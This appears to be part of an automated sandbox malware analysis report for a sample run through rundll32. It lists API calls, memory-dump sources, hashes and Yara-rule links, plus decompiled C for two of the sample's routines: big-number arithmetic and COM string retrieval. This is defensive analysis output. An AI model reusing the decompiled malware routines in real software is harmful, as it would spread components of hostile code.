                          0x04c728ab
                          0x04c728b4
                          0x04c728ba
                          0x04c728ba
                          0x04c72777
                          0x04c728c3

                          APIs
                          • SysAllocString.OLEAUT32(04C79290), ref: 04C72782
                          • lstrcmpW.KERNEL32(00000000,0076006F), ref: 04C72863
                          • SysFreeString.OLEAUT32(00000000), ref: 04C7287C
                          • SysFreeString.OLEAUT32(?), ref: 04C728AB
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$Free$Alloclstrcmp
                          • String ID:
                          • API String ID: 1885612795-0
                          • Opcode ID: 0d8733f6416fe95b3504e884231b56cf3af9155ff6e8b132938bfbf5aff43da8
                          • Instruction ID: 9228f4010a87eade0d6534766eaf852046e69aa487b8f7bd6cd1d8c0b8872bb7
                          • Opcode Fuzzy Hash: 0d8733f6416fe95b3504e884231b56cf3af9155ff6e8b132938bfbf5aff43da8
                          • Instruction Fuzzy Hash: 8F513F76D00519EFCB00DFA8C888DAEB7B6FF88705B144599E915EB314D736AD41CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD2E7D Relevance: 6.1, APIs: 4, Instructions: 140stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,00000008,0000EA60,?,?,?,04CCDD27,00000000,0000EA60,00000000,00000000,00000000,?,04CBDBAC,?,?), ref: 04CD2E89
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • ResetEvent.KERNEL32(?,?,?,?,04CCDD27,00000000,0000EA60,00000000,00000000,00000000,?,04CBDBAC,?,?,00000000,04CB3EC6), ref: 04CD2F00
                          • GetLastError.KERNEL32(?,?,?,04CCDD27,00000000,0000EA60,00000000,00000000,00000000,?,04CBDBAC,?,?,00000000,04CB3EC6,?), ref: 04CD2F2D
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          • GetLastError.KERNEL32(?,?,?,04CCDD27,00000000,0000EA60,00000000,00000000,00000000,?,04CBDBAC,?,?,00000000,04CB3EC6,?), ref: 04CD2FEF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
                          • String ID:
                          • API String ID: 943265810-0
                          • Opcode ID: 5a18f1e1b70345128aed4c75e4dbafe2762e0bdf273c3fd014b11a6bd89d6026
                          • Instruction ID: ae4740d23b18743a3523c36e78b2b37aac00c88535b88d0d71e69eadff2d19eb
                          • Opcode Fuzzy Hash: 5a18f1e1b70345128aed4c75e4dbafe2762e0bdf273c3fd014b11a6bd89d6026
                          • Instruction Fuzzy Hash: 564173B6500204BFEB219FA0DC88EAB7BBEEF04705F144969F642D2590E774EE44DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4DA9 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                          Download Yara Rule
                          APIs
                          • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 04CC4E5C
                          • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04CC4E72
                          • memset.NTDLL ref: 04CC4F1B
                          • memset.NTDLL ref: 04CC4F31
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset$_allmul_aulldiv
                          • String ID:
                          • API String ID: 3041852380-0
                          • Opcode ID: 2cc3a0fee11be75d0f10d7e45fd3021dd2c490ed27525a8479065f719cc3a6bb
                          • Instruction ID: 9fa8f5c08150358f4b6feee55c76b76953e4c1fcb6d73a9f1880b1a0c392b26f
                          • Opcode Fuzzy Hash: 2cc3a0fee11be75d0f10d7e45fd3021dd2c490ed27525a8479065f719cc3a6bb
                          • Instruction Fuzzy Hash: 1C41A031A00219AFEF14DF68CC90BEEB766EF45714F00856DF919A7280DB70BE459B91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71DE3 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                          Download Yara Rule
                          C-Code - Quality: 85%
                          			E04C71DE3(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04C72FAB(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E04C71CC1(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E04C72920(_t101,  &_v428, _a8, _t96 - _t81);
					E04C72920(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E04C71CC1(_t101, 0x4c7a1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E04C71CC1(_a16, _a4);
						E04C73ADA(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L04C7824A();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L04C78244();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E04C7241B(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E04C72378(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04C779CC(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x4c7a1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                          0x04c71de6
                          0x04c71df2
                          0x04c71df8
                          0x04c71dfd
                          0x04c71e01
                          0x04c71f73
                          0x04c71f77
                          0x04c71f77
                          0x04c71e07
                          0x04c71e0b
                          0x04c71e0f
                          0x04c71e12
                          0x04c71e1d
                          0x04c71e23
                          0x04c71e28
                          0x04c71e2b
                          0x04c71e45
                          0x04c71e54
                          0x04c71e60
                          0x04c71e6a
                          0x04c71e6f
                          0x04c71e71
                          0x04c71e74
                          0x04c71f2b
                          0x04c71f31
                          0x04c71f42
                          0x04c71f55
                          0x04c71f6b
                          0x00000000
                          0x04c71f70
                          0x04c71e7d
                          0x04c71e84
                          0x04c71e88
                          0x04c71e8e
                          0x04c71e90
                          0x04c71e92
                          0x04c71e94
                          0x04c71e96
                          0x04c71ea0
                          0x04c71ea5
                          0x04c71ea7
                          0x04c71ea9
                          0x04c71eaa
                          0x04c71eab
                          0x04c71eac
                          0x04c71eb3
                          0x04c71eba
                          0x04c71ebd
                          0x04c71ebd
                          0x04c71e8a
                          0x04c71e8a
                          0x04c71e8a
                          0x04c71ec5
                          0x04c71ecd
                          0x04c71ed9
                          0x04c71ede
                          0x04c71ede
                          0x04c71ee3
                          0x00000000
                          0x00000000
                          0x04c71ee5
                          0x04c71ee8
                          0x04c71ef5
                          0x00000000
                          0x00000000
                          0x04c71ef7
                          0x04c71ef7
                          0x04c71f04
                          0x04c71ede
                          0x04c71ee3
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c71ee3
                          0x04c71f0e
                          0x04c71f11
                          0x04c71f14
                          0x04c71f1b
                          0x04c71f1b
                          0x04c71f28
                          0x00000000
                          0x04c71f28
                          0x04c71e14
                          0x04c71e18
                          0x04c71e19
                          0x04c71e1b
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c71e1b
                          0x00000000

                          APIs
                          • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 04C71E96
                          • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04C71EAC
                          • memset.NTDLL ref: 04C71F55
                          • memset.NTDLL ref: 04C71F6B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: memset$_allmul_aulldiv
                          • String ID:
                          • API String ID: 3041852380-0
                          • Opcode ID: 65975511fdbc308ff4581a44611a759f5690ee0cac90d66652cf50c3c92f1e74
                          • Instruction ID: 74e76f69d6732808184f5eba2b3bef1459bf1535c7be8030c7fa27c20687949d
                          • Opcode Fuzzy Hash: 65975511fdbc308ff4581a44611a759f5690ee0cac90d66652cf50c3c92f1e74
                          • Instruction Fuzzy Hash: 2341BD31A00219AFEF109F68DC84BEE77B6EF45324F044569F919A7280DF70BE449B90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBF5ED Relevance: 6.1, APIs: 4, Instructions: 124COMMON
                          Download Yara Rule
                          APIs
                          • ResetEvent.KERNEL32(?,00000000,00000000,00000000,04CB3EC6,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 04CCC7D5
                          • GetLastError.KERNEL32(?,?,?,04CB3EC6,?,?), ref: 04CCC7EE
                          • ResetEvent.KERNEL32(?,?,?,?,04CB3EC6,?,?), ref: 04CCC867
                          • GetLastError.KERNEL32(?,?,?,04CB3EC6,?,?), ref: 04CCC882
                            • Part of subcall function 04CCEC09: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 04CCEC20
                            • Part of subcall function 04CCEC09: SetEvent.KERNEL32(?,?,?,?,04CB3EC6,?,?), ref: 04CCEC30
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Event$ErrorLastReset$ObjectSingleWait
                          • String ID:
                          • API String ID: 1123145548-0
                          • Opcode ID: df2eb3041537d6b290a8b9ddee80bf766ccad3c29e2ef2879fb49360dc3f8fa3
                          • Instruction ID: 4a1eca4dc136a11a23bccfad1c083248689d1046d3864d14409da65444d88106
                          • Opcode Fuzzy Hash: df2eb3041537d6b290a8b9ddee80bf766ccad3c29e2ef2879fb49360dc3f8fa3
                          • Instruction Fuzzy Hash: 3A41B636600204ABEB119FA5CC44BAF77BBEF84364F14456DE556D7190E730FA41D750
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC9A79 Relevance: 6.1, APIs: 4, Instructions: 119stringCOMMON
                          Download Yara Rule
                          APIs
                          • StrRChrA.SHLWAPI(?,00000000,00000023,?), ref: 04CC9A93
                          • StrChrA.SHLWAPI(?,0000005C), ref: 04CC9ABA
                          • lstrcpyn.KERNEL32(00000005,?,00000001,00000001), ref: 04CC9AE0
                          • lstrcpy.KERNEL32(?,?), ref: 04CC9B84
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrcpylstrcpyn
                          • String ID:
                          • API String ID: 4154805583-0
                          • Opcode ID: 4face2ff7e2535f147e62cedd6c0b880c14926cb2e5724bc1fb1b04c4177d35a
                          • Instruction ID: 33749a39f62b6e53042204d879b6dc8138b9154be922459e2363f26b83c8c290
                          • Opcode Fuzzy Hash: 4face2ff7e2535f147e62cedd6c0b880c14926cb2e5724bc1fb1b04c4177d35a
                          • Instruction Fuzzy Hash: 9E414DBA900219BFDB11DFA4CC84EEEBBBDEF49350F0445A6E901E7140D634AB44CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC9185 Relevance: 6.1, APIs: 4, Instructions: 113COMMON
                          Download Yara Rule
                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: _strupr
                          • String ID:
                          • API String ID: 3408778250-0
                          • Opcode ID: 4697e8986070d79898af1e5effa11c06f16e7fe8c8bd91d3a51217d829362ecf
                          • Instruction ID: 202f05aebbb95154cf954c08ca53efa5993d626a20f856f0d36399fcd2e2ff7f
                          • Opcode Fuzzy Hash: 4697e8986070d79898af1e5effa11c06f16e7fe8c8bd91d3a51217d829362ecf
                          • Instruction Fuzzy Hash: DB4131B680020A9BEF21DFA8D888AEEB7FAEF45344F104529E925D6160E734F545DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB4858 Relevance: 6.1, APIs: 4, Instructions: 105memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9D46: GetSystemTimeAsFileTime.KERNEL32(?,?,00000000), ref: 04CB9D54
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CB48C0
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04CB4911
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000,?,?,00000000,00001000), ref: 04CBF3DB
                            • Part of subcall function 04CBF39B: GetLastError.KERNEL32 ref: 04CBF3E5
                            • Part of subcall function 04CBF39B: WaitForSingleObject.KERNEL32(000000C8), ref: 04CBF40A
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 04CBF42D
                            • Part of subcall function 04CBF39B: SetFilePointer.KERNEL32(00001000,00000000,00000000,00000002), ref: 04CBF455
                            • Part of subcall function 04CBF39B: WriteFile.KERNEL32(00001000,00001388,?,?,00000000), ref: 04CBF46A
                            • Part of subcall function 04CBF39B: SetEndOfFile.KERNEL32(00001000), ref: 04CBF477
                            • Part of subcall function 04CBF39B: CloseHandle.KERNEL32(00001000), ref: 04CBF48F
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,00000101,?,00000000,?,?,?,00000000,?,00000001), ref: 04CB4946
                          • HeapFree.KERNEL32(00000000,?,?,00000000,?,00000001), ref: 04CB4956
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$Heap$AllocateCreateFreeTime$CloseErrorHandleLastObjectPointerSingleSystemWaitWrite
                          • String ID:
                          • API String ID: 4200334623-0
                          • Opcode ID: 259070a760ebd13a09857a1068b0428a0026ae384462a6423a376d6773bd3064
                          • Instruction ID: ef741fec72b4390588bd45c59a360ca124d1a5c8c63f0a42e69f0cb5093859ee
                          • Opcode Fuzzy Hash: 259070a760ebd13a09857a1068b0428a0026ae384462a6423a376d6773bd3064
                          • Instruction Fuzzy Hash: 4D3106BA901119BFEB14DFA4DC88DAABBBEEF08250B110069F605D7110D775AE549BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCEC09 Relevance: 6.1, APIs: 4, Instructions: 92synchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 04CCEC20
                          • SetEvent.KERNEL32(?,?,?,?,04CB3EC6,?,?), ref: 04CCEC30
                          • GetLastError.KERNEL32 ref: 04CCECB9
                            • Part of subcall function 04CCF197: WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,00000000,?,?,?,04CD2F4B,0000EA60,?,?,?,04CCDD27,00000000,0000EA60,00000000), ref: 04CCF1B2
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          • GetLastError.KERNEL32(00000000), ref: 04CCECEE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                          • String ID:
                          • API String ID: 602384898-0
                          • Opcode ID: f85a7aba11029a3cb50e3a8947e050d8057b24174ac65033e7f2392d2abf0b8d
                          • Instruction ID: c385504de404f21ee9e4672a4c6ee216bbb55c5a8b2f2243034ba6a592c8952c
                          • Opcode Fuzzy Hash: f85a7aba11029a3cb50e3a8947e050d8057b24174ac65033e7f2392d2abf0b8d
                          • Instruction Fuzzy Hash: 2E310CB5900309FFDB20DFA5C8849AEBBBAEF09305F14496EE502A2650D735BB45DF60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCA868 Relevance: 6.1, APIs: 4, Instructions: 83memoryregistryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04CCA8C1
                          • memcpy.NTDLL(00000018,?,?), ref: 04CCA8EA
                          • RegisterWaitForSingleObject.KERNEL32(00000010,?,Function_0000BEC1,00000000,000000FF,00000008), ref: 04CCA929
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCA93C
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreeObjectRegisterSingleWaitmemcpy
                          • String ID:
                          • API String ID: 2780211928-0
                          • Opcode ID: 619012e061bfd1316cea268118b7621eb6300036f3e9389e4a814f2cb6dc3dfa
                          • Instruction ID: 34d32aa66e7d203be4012dae82b4b98090c70c9a607184677f22a1d8f99a85fc
                          • Opcode Fuzzy Hash: 619012e061bfd1316cea268118b7621eb6300036f3e9389e4a814f2cb6dc3dfa
                          • Instruction Fuzzy Hash: 34316F74201209AFDB209F64EC45B9A7BA9FF09320F008129F956D6690D775ED159BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4B99 Relevance: 6.1, APIs: 4, Instructions: 83COMMON
                          Download Yara Rule
                          APIs
                          • TlsGetValue.KERNEL32(?), ref: 04CC4BC8
                          • SetEvent.KERNEL32(?), ref: 04CC4C12
                          • TlsSetValue.KERNEL32(00000001), ref: 04CC4C4C
                          • TlsSetValue.KERNEL32(00000000), ref: 04CC4C68
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Value$Event
                          • String ID:
                          • API String ID: 3803239005-0
                          • Opcode ID: cc1c38012e16a309f2e0f4364f9a3790c212252e198bff034c1f103d2b71f5f4
                          • Instruction ID: b008ea0457ec43a6f125f7bd99d30a74bb1524a8d1c46e7c43730129c15fbbcc
                          • Opcode Fuzzy Hash: cc1c38012e16a309f2e0f4364f9a3790c212252e198bff034c1f103d2b71f5f4
                          • Instruction Fuzzy Hash: 6221DC35200248EFDB299F68DD85A9A7BA3FF44710B14862DF402CA170C332FD91DB58
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCF09D Relevance: 6.1, APIs: 4, Instructions: 82memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC550A: memcpy.NTDLL(00000000,00000110,?,?,00000000,00000000,00000000,?,?,?,04CB3EC6), ref: 04CC5540
                            • Part of subcall function 04CC550A: memset.NTDLL ref: 04CC55B6
                            • Part of subcall function 04CC550A: memset.NTDLL ref: 04CC55CA
                          • RtlAllocateHeap.NTDLL(00000000,00000008,-00000008), ref: 04CCF0F5
                          • lstrcmpi.KERNEL32(00000000,?), ref: 04CCF11C
                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04CCF161
                          • HeapFree.KERNEL32(00000000,?,?,?,?,00000000), ref: 04CCF172
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Freememset$Allocatelstrcmpimemcpy
                          • String ID:
                          • API String ID: 1065503980-0
                          • Opcode ID: b9bf831ef027e76e48b0e45ef279dcb6427eeeae2cf8066339d6e49e2ba0ac94
                          • Instruction ID: 5e8ba94a27ec4dbe2bc010df412fe250fcc4d7fd8ab36086a8cfe407c8eb655c
                          • Opcode Fuzzy Hash: b9bf831ef027e76e48b0e45ef279dcb6427eeeae2cf8066339d6e49e2ba0ac94
                          • Instruction Fuzzy Hash: 5E214B79A00209FFEB119F64DC84BAE7BBAEB04358F108029EA05E6150D735FE48EB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE0C4 Relevance: 6.1, APIs: 4, Instructions: 77stringCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CCE0F3
                          • lstrlen.KERNEL32(00000000), ref: 04CCE104
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • strcpy.NTDLL ref: 04CCE11B
                          • StrChrA.SHLWAPI(00000000,0000003A,00000001), ref: 04CCE125
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateHeaplstrlenmemsetstrcpy
                          • String ID:
                          • API String ID: 528014985-0
                          • Opcode ID: 88773ba0824259ac6003871b17a93d70c92460d06b3d767c84596ba098e2bef6
                          • Instruction ID: 0d4aaf0bb664968ba78a9f915e70b1425d042b19a1712baae5a15ea713b4380d
                          • Opcode Fuzzy Hash: 88773ba0824259ac6003871b17a93d70c92460d06b3d767c84596ba098e2bef6
                          • Instruction Fuzzy Hash: A82138BE100301AFE720AF24DC48B6B73EAEF45715F00841DF99687282EB79E914C751
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7264F Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 78%
                          			E04C7264F(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E04C76D63(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                          0x04c7265b
                          0x04c7265f
                          0x04c72660
                          0x04c72661
                          0x04c72663
                          0x04c72665
                          0x04c72668
                          0x04c7266d
                          0x04c72704
                          0x04c7270b
                          0x04c7270b
                          0x04c72676
                          0x04c7267d
                          0x04c7268d
                          0x04c7268d
                          0x04c72693
                          0x04c72695
                          0x04c7269a
                          0x04c726a3
                          0x04c726a9
                          0x04c726ae
                          0x04c726b9
                          0x04c726bd
                          0x04c726bf
                          0x04c726c0
                          0x04c726c9
                          0x04c726cd
                          0x04c726de
                          0x04c726cf
                          0x04c726d4
                          0x04c726d9
                          0x04c726e8
                          0x04c726e8
                          0x04c726bd
                          0x04c726ee
                          0x04c726f4
                          0x04c726f4
                          0x04c726fd
                          0x04c72702
                          0x04c72702
                          0x00000000

                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: FreeSleepStringlstrlenmemcpy
                          • String ID:
                          • API String ID: 1198164300-0
                          • Opcode ID: db48f873c4718c391e3ea25480829bbd4059b78f87c66ca82b65e57752b67269
                          • Instruction ID: 23a8afb139dff107abb9ec9ded4336df2102d0efbe6e997cd1b1fedc210e35f5
                          • Opcode Fuzzy Hash: db48f873c4718c391e3ea25480829bbd4059b78f87c66ca82b65e57752b67269
                          • Instruction Fuzzy Hash: BA215379900209FFDB11DFA8C9849DEBBB9FF48314B1041AAE905E7210EB70EA44DF50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB2F91 Relevance: 6.1, APIs: 4, Instructions: 75stringCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CB2FB3
                          • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 04CB2FF7
                          • OpenFileMappingA.KERNEL32(80000000,00000000,?), ref: 04CB303A
                          • CloseHandle.KERNEL32(?,?,?,?,00000000), ref: 04CB305D
                            • Part of subcall function 04CCB9E9: GetTickCount.KERNEL32 ref: 04CCB9F9
